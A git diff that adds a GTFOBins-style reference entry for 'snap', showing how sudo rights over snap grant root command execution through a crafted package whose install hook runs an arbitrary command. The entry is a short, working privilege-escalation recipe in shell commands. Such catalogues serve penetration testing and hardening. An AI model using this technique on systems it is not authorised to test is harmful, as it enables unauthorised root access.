diff --git a/_gtfobins/snap.md b/_gtfobins/snap.md new file mode 100644 index 0000000..f2d4a83 --- /dev/null +++ b/_gtfobins/snap.md @@ -0,0 +1,16 @@ +--- +functions: + sudo: + - description: | + It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. + ``` + COMMAND=id + cd $(mktemp -d) + mkdir -p meta/hooks + printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install + chmod +x meta/hooks/install + fpm -n x -s dir -t snap -a all meta + ``` + code: | + sudo snap install x_1.0_all.snap --dangerous --devmode +---